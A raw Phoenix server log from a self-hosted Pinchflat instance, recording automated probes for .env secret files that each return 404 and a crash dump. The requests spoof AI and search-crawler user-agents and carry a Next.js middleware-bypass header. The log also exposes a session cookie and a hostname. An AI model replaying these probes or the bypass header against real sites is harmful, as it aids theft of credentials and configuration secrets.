:undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29576.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33618}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, bod (truncated) 16:49:05.724 [info] GET /config/.env 16:49:05.724 [debug] QUERY OK source="settings" db=0.0ms idle=115.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.725 [debug] QUERY OK source="settings" db=0.0ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.725 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.725 [error] #PID<0.29579.0> running PinchflatWeb.Endpoint (connection #PID<0.29578.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /config/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29578.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33634}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29579.0>, params: %{}, path_info: ["config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/config/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Ue3KYfTbcsABvuh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29578.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33634}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29578.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33634}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs (truncated) 16:49:05.738 [info] GET /app/.env 16:49:05.738 [debug] QUERY OK source="settings" db=0.0ms idle=22.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.738 [debug] QUERY OK source="settings" db=0.0ms idle=15.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.738 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.738 [error] #PID<0.29581.0> running PinchflatWeb.Endpoint (connection #PID<0.29580.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29580.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33644}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29581.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61UiGfGXBvxEABvvB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29580.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33644}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29580.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33644}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" (truncated) 16:49:05.752 [info] GET /server/.env 16:49:05.752 [debug] QUERY OK source="settings" db=0.0ms idle=29.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.752 [debug] QUERY OK source="settings" db=0.0ms idle=27.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.752 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.752 [error] #PID<0.29583.0> running PinchflatWeb.Endpoint (connection #PID<0.29582.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /server/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29582.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29583.0>, params: %{}, path_info: ["server", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/server/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61UldkD_8_6oABvvh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29582.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29582.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x (truncated) 16:49:05.763 [info] GET /public/.env 16:49:05.764 [debug] QUERY OK source="settings" db=0.0ms idle=38.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.764 [debug] QUERY OK source="settings" db=0.0ms idle=25.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.764 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.764 [error] #PID<0.29585.0> running PinchflatWeb.Endpoint (connection #PID<0.29584.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /public/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33664}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29585.0>, params: %{}, path_info: ["public", ""], 